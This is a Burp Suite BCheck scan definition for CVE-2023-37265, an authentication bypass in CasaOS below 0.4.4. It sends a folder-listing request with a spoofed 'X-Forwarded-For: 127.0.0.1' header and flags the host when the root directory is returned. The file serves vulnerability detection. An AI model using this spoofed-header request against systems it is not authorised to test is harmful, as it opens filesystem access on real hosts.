CVE-2023-37265 - CasaOS - Auth Bypass due to a lack of IP address verification.bcheck

metadata:
    language: v1-beta
    name: "CVE-2023-37265 - CasaOS - Auth Bypass due to a lack of IP address verification"
    description: "Checks for CVE-2023-37265"
    author: "DemonGod"
    tags: "CVE-2023-37265", "CasaOS", "auth-bypass", "RCE"


define:
    potential_path = "/v1/folder?path=%2F"


given host then
    send request called check:
        method: "GET"
        path: {potential_path}
        headers:
            "X-Forwarded-For": "127.0.0.1"


    if {check.response.body} matches "\"success\":200\b" and {check.response.body} matches "\"message\":\"ok\"" and
        {check.response.body} matches "\bcontent\b" and {check.response.body} matches "\bis_dir\b" then

        report issue:
            severity: high
            confidence: tentative
            detail: "CasaOS  < 0.4.4 - Auth Bypass via Internal IP."
            remediation: "Apply patch within CasaOS 0.4.4."
    end if